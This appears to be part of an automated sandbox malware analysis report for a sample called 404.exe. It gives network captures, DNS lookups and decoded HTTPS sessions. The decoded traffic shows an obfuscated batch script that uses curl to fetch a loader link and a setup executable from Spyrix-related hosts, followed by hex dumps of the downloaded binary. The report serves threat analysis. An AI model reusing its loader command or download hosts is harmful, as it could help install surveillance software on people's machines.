Oct 2, 2024 06:10:27.899146080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.899533987 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.899579048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.899606943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.899614096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.899652958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.899672031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.901500940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.901571989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.901575089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.901601076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.901637077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.901654005 CEST	49715	443	192.168.2.5	167.114.14.168

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 06:09:59.626708031 CEST	192.168.2.5	1.1.1.1	0x11b1	Standard query (0)	filedn.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:04.929397106 CEST	192.168.2.5	1.1.1.1	0xd7b1	Standard query (0)	cdnbaynet.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:07.068100929 CEST	192.168.2.5	1.1.1.1	0xa5ed	Standard query (0)	swtb-download.spyrix-sfk.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:39.437630892 CEST	192.168.2.5	1.1.1.1	0xa399	Standard query (0)	dashboard.spyrix.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:39.438018084 CEST	192.168.2.5	1.1.1.1	0xe876	Standard query (0)	dashboard.spyrix.com	65	IN (0x0001)	false
Oct 2, 2024 06:11:40.725686073 CEST	192.168.2.5	1.1.1.1	0x2b94	Standard query (0)	cdn.cdndownload.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:40.725847960 CEST	192.168.2.5	1.1.1.1	0x998f	Standard query (0)	cdn.cdndownload.net	65	IN (0x0001)	false
Oct 2, 2024 06:11:42.526932001 CEST	192.168.2.5	1.1.1.1	0x4be0	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.002638102 CEST	192.168.2.5	1.1.1.1	0x8e06	Standard query (0)	cdn.cdndownload.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.002835035 CEST	192.168.2.5	1.1.1.1	0x8973	Standard query (0)	cdn.cdndownload.net	65	IN (0x0001)	false
Oct 2, 2024 06:11:43.463109970 CEST	192.168.2.5	1.1.1.1	0xaa6c	Standard query (0)	dashboard.spyrix.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.463354111 CEST	192.168.2.5	1.1.1.1	0x73b	Standard query (0)	dashboard.spyrix.com	65	IN (0x0001)	false
Oct 2, 2024 06:11:43.642348051 CEST	192.168.2.5	1.1.1.1	0x968c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.642514944 CEST	192.168.2.5	1.1.1.1	0xff46	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 2, 2024 06:11:57.004870892 CEST	192.168.2.5	1.1.1.1	0x45b6	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:12:13.985081911 CEST	192.168.2.5	1.1.1.1	0x2916	Standard query (0)	spyrix.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 06:09:59.644356966 CEST	1.1.1.1	192.168.2.5	0x11b1	No error (0)	filedn.com		23.109.93.100	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:04.949433088 CEST	1.1.1.1	192.168.2.5	0xd7b1	No error (0)	cdnbaynet.com		167.114.14.170	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:10:07.086235046 CEST	1.1.1.1	192.168.2.5	0xa5ed	No error (0)	swtb-download.spyrix-sfk.com		167.114.14.168	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:39.459366083 CEST	1.1.1.1	192.168.2.5	0xa399	No error (0)	dashboard.spyrix.com		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:40.783128023 CEST	1.1.1.1	192.168.2.5	0x998f	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:40.812771082 CEST	1.1.1.1	192.168.2.5	0x2b94	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:40.812771082 CEST	1.1.1.1	192.168.2.5	0x2b94	No error (0)	cl-e0469d03.edgecdn.ru		95.181.182.182	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:42.539031982 CEST	1.1.1.1	192.168.2.5	0x4be0	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.054184914 CEST	1.1.1.1	192.168.2.5	0x8973	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:43.060050964 CEST	1.1.1.1	192.168.2.5	0x8e06	No error (0)	cdn.cdndownload.net	cl-e0469d03.edgecdn.ru		CNAME (Canonical name)	IN (0x0001)	false
Oct 2, 2024 06:11:43.060050964 CEST	1.1.1.1	192.168.2.5	0x8e06	No error (0)	cl-e0469d03.edgecdn.ru		95.181.182.182	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.481340885 CEST	1.1.1.1	192.168.2.5	0xaa6c	No error (0)	dashboard.spyrix.com		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.649043083 CEST	1.1.1.1	192.168.2.5	0x968c	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:11:43.649287939 CEST	1.1.1.1	192.168.2.5	0xff46	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 2, 2024 06:11:57.017030954 CEST	1.1.1.1	192.168.2.5	0x45b6	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false
Oct 2, 2024 06:12:13.993659019 CEST	1.1.1.1	192.168.2.5	0x2916	No error (0)	spyrix.net		158.69.117.119	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	23.109.93.100	443	1096	C:\Users\user\Desktop\404.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:01 UTC	111	OUT	GET /lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s150 HTTP/1.1 Host: filedn.com Connection: Keep-Alive
2024-10-02 04:10:01 UTC	393	IN	HTTP/1.1 200 OK Server: CacheHTTPd v1.0 Date: Wed, 02 Oct 2024 04:10:01 +0000 Content-Type: application/octet-stream Content-Length: 14030 Etag: "9473ec4ea7ffe1f06be04f0192cdee58e25f6eba" Expires: Wed, 02 Oct 2024 10:10:01 +0000 Content-Disposition: attachment; filename="s150" Accept-Ranges: bytes Content-Transfer-Encoding: binary Connection: keep-alive Keep-Alive: timeout=30
2024-10-02 04:10:01 UTC	4096	IN	Data Raw: 72 65 6d 20 63 76 34 67 69 69 64 33 72 30 36 72 7a 77 78 69 30 39 31 6d 77 69 69 36 66 74 38 62 79 30 78 39 7a 37 6a 66 31 0d 0a 72 65 6d 20 74 62 39 69 69 38 31 39 6b 35 32 70 69 37 65 76 72 63 62 36 33 6d 62 30 79 76 78 30 72 62 79 35 36 67 6c 37 7a 64 30 6a 31 73 34 74 65 76 61 35 70 0d 0a 40 65 63 68 6f 20 6f 66 66 0d 0a 72 65 6d 20 66 78 32 78 68 36 77 67 6e 39 78 6d 78 6b 33 63 72 68 65 6b 30 34 34 35 30 6c 6a 6b 74 0d 0a 72 65 6d 20 71 64 35 6a 33 7a 68 63 34 36 66 7a 76 6a 37 7a 74 35 64 77 62 7a 65 75 73 74 6b 73 77 37 61 36 35 6a 69 35 66 6c 77 31 33 35 38 64 68 32 70 6d 77 70 62 72 6b 32 79 33 77 72 0d 0a 72 65 6d 20 39 68 79 71 75 7a 74 78 31 62 34 34 79 39 36 6b 68 32 73 36 74 74 65 64 6d 35 75 6d 6c 6e 6e 68 36 73 7a 78 36 6b 36 33 35 38 33 Data Ascii: rem cv4giid3r06rzwxi091mwii6ft8by0x9z7jf1rem tb9ii819k52pi7evrcb63mb0yvx0rby56gl7zd0j1s4teva5p@echo offrem fx2xh6wgn9xmxk3crhek04450ljktrem qd5j3zhc46fzvj7zt5dwbzeustksw7a65ji5flw1358dh2pmwpbrk2y3wrrem 9hyquztx1b44y96kh2s6ttedm5umlnnh6szx6k63583
2024-10-02 04:10:01 UTC	4096	IN	Data Raw: 39 66 73 68 34 35 68 72 34 73 70 6c 39 38 78 66 63 39 72 32 77 78 76 68 79 67 77 75 69 30 0d 0a 72 65 6d 20 38 74 34 78 6e 77 7a 77 32 34 38 33 6b 30 38 68 74 69 35 30 71 62 6b 75 7a 69 62 6c 6b 39 31 30 6a 65 69 72 72 6e 68 65 67 66 69 6e 6a 67 63 34 30 62 6f 69 74 69 30 68 66 31 31 33 6b 33 79 37 34 76 6e 0d 0a 72 65 6d 20 75 65 79 62 6d 75 75 34 35 39 33 7a 7a 6e 77 7a 75 6e 38 6f 6e 73 63 7a 62 39 79 37 6d 61 64 69 73 34 6c 33 6f 66 63 75 69 6c 78 33 77 72 76 68 31 62 6e 30 32 72 32 6b 62 6f 0d 0a 63 75 72 6c 2e 65 78 65 20 2d 2d 69 6e 73 65 63 75 72 65 20 2d 2d 75 73 65 72 2d 61 67 65 6e 74 20 22 73 66 6b 2d 64 73 74 2d 6c 6f 61 64 65 72 2d 32 2e 30 22 20 2d 6f 20 22 25 54 45 4d 50 25 5c 25 66 75 70 6f 6f 62 25 5c 6c 22 20 68 74 74 70 73 3a 2f 2f 63 Data Ascii: 9fsh45hr4spl98xfc9r2wxvhygwui0rem 8t4xnwzw2483k08hti50qbkuziblk910jeirrnhegfinjgc40boiti0hf113k3y74vnrem ueybmuu4593zznwzun8onsczb9y7madis4l3ofcuilx3wrvh1bn02r2kbocurl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "%TEMP%\%fupoob%\l" https://c
2024-10-02 04:10:01 UTC	4096	IN	Data Raw: 61 78 76 34 61 68 30 6e 76 70 6b 73 70 71 79 62 61 38 38 71 75 78 67 6a 78 68 72 67 6a 6c 37 79 78 66 31 7a 64 6f 71 68 74 30 68 30 38 6c 66 7a 6e 31 6b 78 72 6d 67 70 36 7a 78 38 70 7a 38 64 71 37 68 68 77 30 7a 6f 32 38 64 7a 0d 0a 72 65 6d 20 71 74 30 6a 7a 69 67 37 70 33 6b 38 79 31 71 7a 39 77 6d 69 74 6d 6c 39 69 6c 33 79 71 74 34 32 35 74 31 77 72 72 61 0d 0a 72 65 6d 20 34 72 34 64 72 30 6b 70 63 7a 61 64 37 6e 6a 67 6e 73 39 79 6b 34 6e 69 69 38 67 77 36 39 34 72 34 6d 68 33 69 31 6c 34 79 67 70 32 78 6a 6a 75 77 62 6c 36 36 78 77 67 72 62 67 78 30 6d 6a 69 68 74 30 70 7a 7a 35 37 7a 39 32 73 37 34 6e 71 39 6e 38 6c 34 37 67 0d 0a 72 65 6d 20 75 75 79 30 78 36 7a 6a 6b 32 62 33 77 6f 78 74 31 35 7a 67 79 38 37 38 63 63 65 38 6c 77 67 66 6c 73 36 Data Ascii: axv4ah0nvpkspqyba88quxgjxhrgjl7yxf1zdoqht0h08lfzn1kxrmgp6zx8pz8dq7hhw0zo28dzrem qt0jzig7p3k8y1qz9wmitml9il3yqt425t1wrrarem 4r4dr0kpczad7njgns9yk4nii8gw694r4mh3i1l4ygp2xjjuwbl66xwgrbgx0mjiht0pzz57z92s74nq9n8l47grem uuy0x6zjk2b3woxt15zgy878cce8lwgfls6
2024-10-02 04:10:01 UTC	1742	IN	Data Raw: 36 30 65 72 6d 35 66 63 6c 72 61 35 6d 38 30 63 63 75 6b 63 79 30 35 75 6a 6c 64 73 78 6b 34 67 79 36 64 39 77 39 71 61 66 30 31 72 78 72 30 72 66 34 76 7a 65 6a 0d 0a 29 0d 0a 72 65 6d 20 61 33 64 32 64 6a 6b 33 6c 64 66 73 73 38 35 6c 75 36 61 7a 39 6b 61 6a 65 31 63 31 62 38 6c 36 38 73 69 6c 68 77 30 71 6d 78 67 71 0d 0a 72 65 6d 20 71 77 74 7a 6b 7a 69 74 61 77 6a 69 74 32 36 71 6f 66 69 73 36 78 79 6f 6b 74 68 6a 38 76 30 6c 6c 33 36 0d 0a 72 65 6d 20 32 30 6b 71 79 33 73 35 76 34 76 33 30 67 71 6c 6e 78 6c 75 72 6a 66 33 65 61 33 78 37 33 6d 6b 35 66 65 30 30 66 6d 6e 6f 68 79 66 35 6b 6c 62 65 6a 32 64 0d 0a 72 65 6d 20 6a 67 70 73 78 73 66 61 6f 7a 72 30 75 72 39 79 65 31 77 65 79 6e 39 79 78 63 73 6c 30 35 6e 67 62 70 67 71 78 6a 69 67 71 76 72 Data Ascii: 60erm5fclra5m80ccukcy05ujldsxk4gy6d9w9qaf01rxr0rf4vzej)rem a3d2djk3ldfss85lu6az9kaje1c1b8l68silhw0qmxgqrem qwtzkzitawjit26qofis6xyokthj8v0ll36rem 20kqy3s5v4v30gqlnxlurjf3ea3x73mk5fe00fmnohyf5klbej2drem jgpsxsfaozr0ur9ye1weyn9yxcsl05ngbpgqxjigqvr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	167.114.14.170	443	7252	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:05 UTC	110	OUT	GET /loader/link.php?prg_id=sfk HTTP/1.1 Host: cdnbaynet.com User-Agent: sfk-dst-loader-2.0 Accept: /
2024-10-02 04:10:06 UTC	165	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:10:06 UTC	74	IN	Data Raw: 33 66 0d 0a 68 74 74 70 73 3a 2f 2f 73 77 74 62 2d 64 6f 77 6e 6c 6f 61 64 2e 73 70 79 72 69 78 2d 73 66 6b 2e 63 6f 6d 2f 64 6f 77 6e 6c 6f 61 64 2f 73 66 6b 2f 73 66 6b 5f 73 65 74 75 70 2e 65 78 65 0d 0a 30 0d 0a 0d 0a Data Ascii: 3fhttps://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:05 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-02 04:10:05 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=131745 Date: Wed, 02 Oct 2024 04:10:05 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49712	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:06 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-02 04:10:06 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=131688 Date: Wed, 02 Oct 2024 04:10:06 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-02 04:10:06 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49715	167.114.14.168	443	7288	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:10:07 UTC	125	OUT	GET /download/sfk/sfk_setup.exe HTTP/1.1 Host: swtb-download.spyrix-sfk.com User-Agent: sfk-dst-loader-2.0 Accept: /
2024-10-02 04:10:07 UTC	380	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:10:07 GMT Content-Type: application/octet-stream Content-Length: 33441448 Connection: close Last-Modified: Wed, 02 Oct 2024 04:09:15 GMT Content-Disposition: attachment; filename="sfk_setup.exe" ETag: "66fcc76b-1fe46a8" Strict-Transport-Security: max-age=31536000; includeSubDomains Accept-Ranges: bytes
2024-10-02 04:10:07 UTC	16004	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-10-02 04:10:07 UTC	16384	IN	Data Raw: 08 c7 ff ff c3 8d 40 00 8b 10 85 d2 74 0e c7 00 00 00 00 00 50 52 e8 f1 c6 ff ff 58 c3 8d 40 00 53 56 89 c3 89 d6 8b 03 85 c0 74 0c c7 03 00 00 00 00 50 e8 d4 c6 ff ff 83 c3 04 4e 75 e8 5e 5b c3 8d 40 00 39 10 74 23 85 d2 0f 84 b8 ff ff ff 8b 4a fc d1 e9 0f 84 ad ff ff ff 51 52 50 e8 a1 c6 ff ff 85 c0 0f 84 6d ff ff ff c3 55 8b ec 81 c4 04 f0 ff ff 50 83 c4 fc 53 56 57 8b f1 89 55 fc 8b f8 85 f6 7f 09 8b c7 e8 7a ff ff ff eb 6c 8d 46 01 3d ff 07 00 00 7d 2f 56 8b 45 08 50 8d 85 fc ef ff ff 8b 4d fc ba ff 07 00 00 e8 b6 fc ff ff 8b d8 85 db 7e 11 8d 95 fc ef ff ff 8b c7 8b cb e8 51 00 00 00 eb 33 8d 5e 01 8b c7 8b d3 e8 d3 00 00 00 56 8b 45 08 50 8b 07 e8 b7 00 00 00 8b 4d fc 8b d3 e8 7d fc ff ff 8b d8 85 db 7d 02 33 db 8b c7 8b d3 e8 ac 00 00 00 5f 5e 5b Data Ascii: @tPRX@SVtPNu^[@9t#JQRPmUPSVWUzlF=}/VEPM~Q3^VEPM}}3_^[
2024-10-02 04:10:07 UTC	16384	IN	Data Raw: 4e 32 e4 c3 80 7d dc 00 74 06 66 b8 2d 00 66 ab c3 e8 ee ff ff ff 0f bf 4d da 31 d2 3b 4d 0c 7f 25 83 f9 fd 7c 20 09 c9 7f 22 66 b8 30 00 66 ab 80 3e 00 74 4b 66 8b 45 f6 66 ab f7 d9 66 b8 30 00 f3 66 ab eb 20 b9 01 00 00 00 42 ac 08 c0 74 20 32 e4 66 ab e2 f5 ac 08 c0 74 1c 32 e4 c1 e0 10 66 8b 45 f6 ab ac 08 c0 74 0d 32 e4 66 ab eb f5 66 b8 30 00 f3 66 ab 09 d2 74 04 31 c0 eb 22 c3 e8 7e ff ff ff e8 6e ff ff ff 66 ab 66 8b 45 f6 66 ab 8b 4d 0c 49 e8 5d ff ff ff 66 ab e2 f7 b4 2b 8b 4d 08 83 f9 04 76 02 31 c9 b0 45 8a 5d dd b7 01 0f bf 55 da 4a e8 e3 fd ff ff c3 e8 41 ff ff ff 8b 55 08 83 fa 12 72 05 ba 12 00 00 00 0f bf 4d da 09 c9 7f 08 66 b8 30 00 66 ab eb 2e 31 db 80 7d 10 02 74 0a 89 c8 48 b3 03 f6 f3 88 e3 43 e8 02 ff ff ff 66 ab 49 74 12 4b 75 f3 Data Ascii: N2}tf-fM1;M%\| "f0f>tKfEff0f Bt 2ft2fEt2ff0ft1"~nffEfMI]f+Mv1E]UJAUrMf0f.1}tHCfItKu
2024-10-02 04:10:08 UTC	16384	IN	Data Raw: e8 ff 74 ff ff 5a 5e 5b c3 00 00 00 b0 04 02 00 ff ff ff ff 1d 00 00 00 43 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 65 00 64 00 20 00 62 00 6c 00 6f 00 63 00 6b 00 20 00 69 00 73 00 20 00 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 64 00 00 00 53 56 57 55 51 8b f9 8b f0 33 c0 89 04 24 8b ea 85 ff 7e 3e 83 7e 18 00 75 0d 83 7e 0c 00 74 32 8b c6 e8 09 ff ff ff 8b df 3b 5e 18 76 03 8b 5e 18 8b d5 8b 46 14 8d 44 06 1c 8b cb e8 a3 64 ff ff 01 5e 14 29 5e 18 03 eb 2b fb 01 1c 24 85 ff 7f c2 8b 04 24 5a 5d 5f 5e 5b c3 90 53 56 57 8b f1 8b fa 8b d8 8b 43 04 85 c0 74 0b 8b d7 8b ce 8b 18 ff 53 04 eb 25 8b d7 8b ce 8b c3 e8 7e ff ff ff 3b f0 74 16 b9 84 cb 40 00 b2 01 a1 dc c4 40 00 e8 b5 cc ff ff e8 14 74 ff ff 5f 5e 5b c3 b0 04 02 00 ff ff ff ff 1d 00 00 Data Ascii: tZ^[Compressed block is corruptedSVWUQ3$~>~u~t2;^v^FDd^)^+$$Z]_^[SVWCtS%~;t@@t_^[
2024-10-02 04:10:08 UTC	16384	IN	Data Raw: 41 00 68 7c 17 41 00 68 60 17 41 00 e8 83 50 ff ff 50 e8 8d 50 ff ff a3 20 85 41 00 83 3d 1c 85 41 00 00 74 09 83 3d 20 85 41 00 00 75 04 33 c0 eb 02 b0 01 a2 24 85 41 00 8d 45 f8 e8 0b a3 ff ff 8b 45 f8 8d 55 fc e8 10 9c ff ff 8d 45 fc ba c4 17 41 00 e8 bb 38 ff ff 8b 45 fc ba 00 80 00 00 e8 9a 95 ff ff 8d 55 f4 b8 fb 3a 78 4c e8 8d a8 ff ff 33 c0 5a 59 59 64 89 10 68 19 17 41 00 8d 45 f4 ba 03 00 00 00 e8 7f 35 ff ff c3 e9 91 27 ff ff eb eb 8b e5 5d c3 00 00 00 57 00 6f 00 77 00 36 00 34 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 57 00 6f 00 77 00 36 00 34 00 46 00 73 00 52 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 69 00 6f 00 6e 00 00 00 00 00 6b 00 65 00 72 00 6e 00 65 00 6c 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 00 00 00 00 57 00 6f 00 77 00 36 Data Ascii: Ah\|Ah`APPP A=At= Au3$AEEUEA8EU:xL3ZYYdhAE5']Wow64DisableWow64FsRedirectionkernel32.dllWow6
2024-10-02 04:10:08 UTC	16384	IN	Data Raw: 02 8d 22 b0 e3 2d 73 64 d6 ee 50 f8 ed b3 02 09 8b 0b af 10 c8 a4 fd 03 4b c6 c9 a5 ae db ef 8d 00 26 ce 56 c3 48 d1 4b 10 36 17 48 24 8c 19 42 38 8b 07 03 23 89 29 92 9a fe 8a c2 a2 0d 76 af 3f 91 da d8 6e bd ec 34 75 aa 50 ae cf 81 37 02 98 34 8d 1a a9 2c b5 5a 0b c0 5a 3d 80 a1 59 1e 61 ea c5 40 4e 26 77 05 a2 86 99 52 fd db 67 09 8a 2c bf 00 88 ee 2c 2e 94 ff e5 ba fd 06 6f 04 60 18 3f 2b f1 07 01 79 ad ed 38 c2 be d7 1d f3 9f 98 15 99 8b 5f 27 bc bd de f6 46 31 1a 89 2f 97 8e 95 f3 5d 9f 03 83 67 02 a8 1a 2c 90 b1 d0 76 58 4d 1b 29 fc ea 62 c9 63 01 11 62 c3 27 84 db 9e b6 b7 98 ca bf 21 da a0 12 38 a5 74 82 dc ef fa 1c 18 bc 12 c0 d8 99 94 93 09 b5 4c 77 03 ba da 8e 65 64 2f c2 65 83 b9 1b 10 05 cc 94 e9 ff 7e 5e e1 c3 8f ed 67 7d ba c3 f1 60 c9 b8 Data Ascii: "-sdPK&VHK6H$B8#)v?n4uP74,ZZ=Ya@N&wRg,,.o`?+y8_'F1/]g,vXM)bcb'!8tLwed/e~^g}`
2024-10-02 04:10:08 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe a4 62 1f fd 9e 64 dc ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd b0 80 ff fd e7 d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe ed e3 ff fd b6 8a ff ff a0 64 ff ff a0 64 Data Ascii: bddddddddddddddddddddddddd
2024-10-02 04:10:08 UTC	16384	IN	Data Raw: ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd cc ad ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 ff fd d6 bd ff fe af 7e ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff ff a0 64 ff fd c2 9d ff ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ddddddddddddd~ddddddddddddddddddddddddddddddd
